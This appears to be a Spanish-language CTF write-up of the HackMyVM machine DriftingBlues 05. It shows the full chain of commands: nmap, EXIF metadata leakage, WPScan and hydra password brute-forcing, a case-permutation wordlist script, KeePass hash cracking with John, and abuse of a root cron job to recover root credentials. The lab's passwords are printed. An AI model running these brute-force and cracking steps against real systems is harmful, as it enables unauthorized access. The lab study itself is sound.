cd ~/blog

~/writeups/hmv/099-driftingblues-05.md

099 - DriftingBlues 05

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Metadata Exposure en datos EXIFWeak Passwords en WordPress y SSHWeak Password en una base de datos KeePassCredential Exposure mediante una tarea cron privilegiada
hackmyvm.eu/machines/machine.php?vm=DriftingBlues5

~1 min de lectura


Enumeración de servicios

El escaneo descubre SSH y un WordPress sobre Apache. La versión del CMS orienta la enumeración hacia usuarios, plugins y contenido almacenado en wp-content:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.18
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.18
Nmap scan report for 192.168.1.18
Host is up (0.00026s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: diary – Just another WordPress site
|_http-generator: WordPress 5.6.2
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Metadata Exposure y descubrimiento de credenciales

En wp-content/uploads/2021/02/ encontramos varias imágenes. Los datos de dblogo.png presentan una Metadata Exposure que revela la base de una contraseña SSH y avisa que la capitalización puede variar:

❯ exiftool dblogo.png
...
Text Layer Text: ssh password is 59583hello of course it is lowercase maybe not :)
...

CeWL construye un diccionario a partir del contenido del sitio. WPScan usa esas palabras contra el login de WordPress y valida gill:interchangeable, lo que confirma un usuario real para las pruebas posteriores:

❯ cewl.rb -d 3 -m 5 'http://192.168.1.18' > ./wp-wordlist.txt

❯ wpscan --url http://192.168.1.18 --detection-mode aggressive --passwords wp-wordlist.txt
...
[!] Valid Combinations Found:
 | Username: gill, Password: interchangeable
...

Acceso inicial mediante Password Guessing dirigido

Como el comentario sugería variar mayúsculas y minúsculas, generamos las 2^5 combinaciones posibles de hello, conservando el prefijo 59583. Esta lista acotada permite comprobar una Weak Password en la cuenta gill por SSH sin recurrir a un diccionario general:

❯ cat dict_creator.py
word = "hello"
variations = []

for i in range(2 ** len(word)):
    current_variation = ""
    for j in range(len(word)):
        if (i >> j) & 1:
            current_variation += word[j].upper()
        else:
            current_variation += word[j].lower()
    variations.append(current_variation)

with open("diccionario.txt", "a") as file:
    for variation in variations:
        file.write("59583" + variation + "\n")
❯ hydra -l gill -P diccionario.txt 192.168.1.18 ssh -t 64
...
[22][ssh] host: 192.168.1.18   login: gill   password: 59583hello
...

❯ ssh gill@192.168.1.18
gill@192.168.1.18's password: 59583hello
gill@driftingblues:~$

Recuperación de secretos desde KeePass

Tras obtener la primera flag, descargamos keyfile.kdbx. keepass2john convierte los parámetros de derivación de la base KeePass en un formato que John puede atacar y recupera la contraseña maestra porsiempre:

❯ keepass2john keyfile.kdbx > hash
❯ sudo /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
porsiempre       (keyfile)
...

Abriéndolo (keeweb) obtenemos una lista de posibles contraseñas:

2real4surreal
buddyretard
closet313
exalted
fracturedocean
zakkwylde

Credential Exposure mediante una tarea cron

pspy64 permite observar procesos privilegiados sin leer el script de root y muestra la ejecución periódica de /root/key.sh:

gill@driftingblues:/tmp$ ./pspy64
...
2024/05/25 17:15:01 CMD: UID=0     PID=20166  | /bin/bash /root/key.sh
...

/keyfolder es escribible por gill. La conducta observada indica que el cron compara los nombres presentes con una clave esperada; por ello creamos temporalmente un archivo por cada candidato, esperando un ciclo entre pruebas. Cuando aparece fracturedocean, el proceso privilegiado genera rootcreds.txt:

gill@driftingblues:/keyfolder$ for PASSWD in $(cat /tmp/keyfile_content); do touch $PASSWD;sleep 62; rm $PASSWD; done

gill@driftingblues:/keyfolder$ ls
fracturedocean	rootcreds.txt

gill@driftingblues:/keyfolder$ cat rootcreds.txt
root creds

imjustdrifting31

La contraseña recuperada permite cambiar a root y obtener la flag final.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados